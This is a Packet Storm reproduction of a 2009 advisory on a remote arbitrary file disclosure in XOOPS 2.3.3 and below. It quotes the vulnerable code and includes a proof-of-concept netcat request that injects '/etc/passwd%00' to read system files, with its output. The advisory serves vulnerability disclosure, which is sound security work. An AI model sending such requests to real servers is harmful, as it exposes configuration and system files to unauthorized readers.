exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

XOOPS 2.3.3 File Disclosure

XOOPS 2.3.3 File Disclosure
Posted Jun 16, 2009
Authored by Luca De Fulgentis

XOOPS versions 2.3.3 and below suffer from a remote arbitrary file disclosure vulnerability.

tags | exploit, remote, arbitrary, info disclosure
SHA-256 | 90a26a198c42f778f73dd4c48b0c816e5e9e025665d5a8c962b4932890af1bb5

XOOPS 2.3.3 File Disclosure

Change Mirror Download
  ======================================================================== 
XOOPS <= 2.3.3 Remote Arbitrary File Retrieval
========================================================================

Affected Software : XOOPS <= 2.3.3
Author : Luca "daath" De Fulgentis - daath[at]nibblesec[dot]org
Advisory number : NS-2009-01
Advisory URL : http://blog.nibblesec.org/advisories/NS-2009-01.txt
Severity : Low/Medium
Local/Remote : Remote


[Summary]

XOOPS is a web application platform written in PHP for the MySQL database.
Its object orientation makes it an ideal tool for developing small or large
community websites, intra company and corporate portals, weblogs and much
more. (Reference : http://www.xoops.org).

Nibble Security discovered a remote arbitrary file retrieval in XOOPS version
2.3.3, which could be exploited to read system or XOOPS configuration files
("mainfile.php").


[Vulnerability Details]

A vulnerable read_file() function can be found in "module_icon.php" under
/xoops_lib/modules/protector/. Here an image icon is read and its full
pathname is constructed using a user-controllable variable called
"$mydirpath" :

=============================================================================
[...]
if( file_exists( $mydirpath.'/module_icon.png' ) ) {
$use_custom_icon = true ;
$icon_fullpath = $mydirpath.'/module_icon.png' ;
} else {
$use_custom_icon = false ;
$icon_fullpath = dirname(__FILE__).'/module_icon.png' ;
}

[...]
} else {

readfile( $icon_fullpath ) ;
}
?>
=============================================================================

If register_globals is enabled and magic_quotes_gpc disabled, it's possible
to control the "$mydirpath" variable content and inject an arbitrary filename
(followed by a NULL byte (%00) to make file_exists() function ignore the
following "/module_icon.png"), resulting in file content inclusion in
application response.


[Proof of Concept Exploit]

Some browsers (e.g. Mozilla Firefox) may refuse broken images (such as the
one generated by the vulnerable script). Bacause of this netcat/telnet can be
easily used to exploit this vulnerability :

daath@shaytan:~$ echo -e "GET /xoops_lib/modules/protector/module_icon.php?
mydirpath=/etc/passwd%00 HTTP/1.0\n\n" | nc 127.0.0.1 80

HTTP/1.1 200 OK
Date: Mon, 16 Mar 2009 19:07:03 GMT
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.1 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-2ubuntu4.1
Expires: Mon, 16 Mar 2009 21:00:00 +0100
Cache-Control: public, max-age=3600
Last-Modified: Mon, 16 Mar 2009 20:00:00 +0100
Content-Length: 1661
Connection: close
Content-Type: image/png

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
[...]
daath@shaytan:~$


[Time Table]

17/03/2009 - Vendor notified.
17/03/2009 - Vendor response.
28/05/2009 - Vendor re-contacted (no answer).
16/06/2009 - Public disclosure.


[Legal Notices]

The information in the advisory is believed to be accurate at the
time of publishing based on currently available information.
This information is provided as-is, as a free service to the community.
There are no warranties with regard to this information.
The author does not accept any liability for any direct,
indirect, or consequential loss or damage arising from use of,
or reliance on, this information.
Permission is hereby granted for the redistribution of this alert,
provided that the content is not altered in any way, except
reformatting, and that due credit is given.

This vulnerability has been disclosed in accordance with the RFP
Full-Disclosure Policy v2.0, available at:
http://www.wiretrip.net/rfp/policy.html



# Modules directory has an .htaccess file blocking php files from being accessed. Still the possibility is there. /str0ke


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close